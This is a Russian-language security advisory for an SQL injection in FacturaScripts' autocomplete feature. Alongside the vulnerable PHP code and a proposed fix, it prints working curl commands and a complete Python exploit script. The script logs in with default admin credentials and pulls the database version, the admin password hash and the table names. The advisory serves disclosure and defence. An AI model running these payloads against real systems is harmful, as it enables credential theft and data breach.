
CVE-2026-25514 - FacturaScripts has SQL Injection in Autocomplete Actions
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-25514 |
| Серьёзность | ВЫСОКАЯ |
| Уведомление | Посмотреть уведомление |
| Обнаружил | Lukasz Rybak |
FacturaScripts содержит критическую уязвимость SQL-инъекции в функционале автозаполнения, которая позволяет аутентифицированным злоумышленникам извлекать из базы данных конфиденциальную информацию, включая учётные данные пользователей, параметры конфигурации и все сохранённые бизнес-данные. Уязвимость существует в методе CodeModel::all(), где предоставляемые пользователем параметры напрямую конкатенируются в SQL-запросы без санации или параметризованных привязок.
Несколько контроллеров FacturaScripts, включая CopyModel, ListController и PanelController, реализуют действие автозаполнения, которое обрабатывает пользовательский ввод через методы CodeModel::search() или CodeModel::all(). Эти методы формируют SQL-запросы, напрямую конкатенируя контролируемые пользователем параметры без какой-либо проверки или экранирования.
Файл: /Core/Model/CodeModel.php
Метод: all()
Строки: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// УЯЗВИМЫЙ КОД:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Следующие параметры подвержены SQL-инъекции:
source → Соответствует $tableName — инъекция имени таблицыfieldcode → Соответствует $fieldCode — инъекция имени столбцаfieldtitle → Соответствует $fieldDescription — инъекция имени столбца (основной вектор атаки)/CopyModel с action=autocompletefieldtitleПоскольку FacturaScripts использует MultiRequestProtection, для каждого POST-запроса требуется действительный multireqtoken.
1. Получение начального токена и cookie сессии:
FacturaScripts перенаправляет / на /login, поэтому используем -L для следования перенаправлениям и -c для сохранения cookie сессии.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. Аутентификация (Вход): Используем сохранённый cookie и токен для входа.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. Извлечение версии базы данных: Получаем новый токен для следующего запроса и выполняем инъекцию.
# Получить новый токен
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Выполнить SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. Извлечение пользователя базы данных и имени БД:
# Получить новый токен
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Выполнить SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. Извлечение хеша пароля администратора:
# Получить новый токен
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Выполнить SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
Эта уязвимость SQL-инъекции имеет КРИТИЧЕСКОЕ воздействие:
Вариант 1: Использовать подготовленные выражения
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Обнаружил: Łukasz Rybak
Данный CVE был ответственно раскрыт в соответствии с практиками скоординированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных целей и целей защиты.